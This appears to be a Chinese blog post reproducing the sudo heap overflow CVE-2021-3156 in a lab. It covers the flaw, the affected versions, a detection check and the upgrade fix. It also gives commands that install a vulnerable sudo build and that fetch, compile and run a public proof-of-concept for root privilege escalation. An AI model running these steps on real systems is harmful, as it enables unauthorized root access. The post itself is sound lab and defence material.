题记
最近在复习就知识,可能更新的慢一些了。回头我可能会把在书本总结的东西整理到电脑来,慢慢来,什么都不是一蹴而就的。
安装漏洞版本的sudo
wget http://www.sudo.ws/dist/sudo-1.8.21.tar.gz
tar -xzvf sudo-1.8.21.tar.gz
cd sudo-1.8.21 && ./configure && make && make install
cp /usr/local/bin/sudo /usr/bin/sudo
漏洞简介
当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
检测方法
在非root用户下使用sudoedit -s /
返回以"sudoedit:"开头的错误,则当前系统可能存在安全风险。
返回"usage:"开头的错误响应,则不存在该漏洞。
修复方式
将sudo版本升级至最新版本,官方下载链接:https://www.sudo.ws/download.html
漏洞复现
1.POC下载地址:https://github.com/blasty/CVE-2021-3156
2.使用sudoedit -s / 来判断是否可能存在漏洞,如出现sudoedit开头的报错则说明可能存在该漏洞
3.创建一个普通用户并且将切换到该用户
4.这里可以使用git或者wget等其他方法来获取POC,使用tar命令进行解压
wget -P /tmp https://github.com/blasty/CVE-2021-3156/archive/main.zip
cd /tmp
解压文件
5.进入加压之后的CVE目录,并且运行make进行编译,此时会生成一个新的可执行文件sudo-hax-me-a-sandwich
6.因为我们的系统版本是Ubuntu 20.04.1所以这里选择0,运行之后成功提权。
参考链接
http://moneyslow.com/sudo提权漏洞sudo版本升级方法(sudo配置不当致权限提升.html
http://xffbk.cn/archives/27.html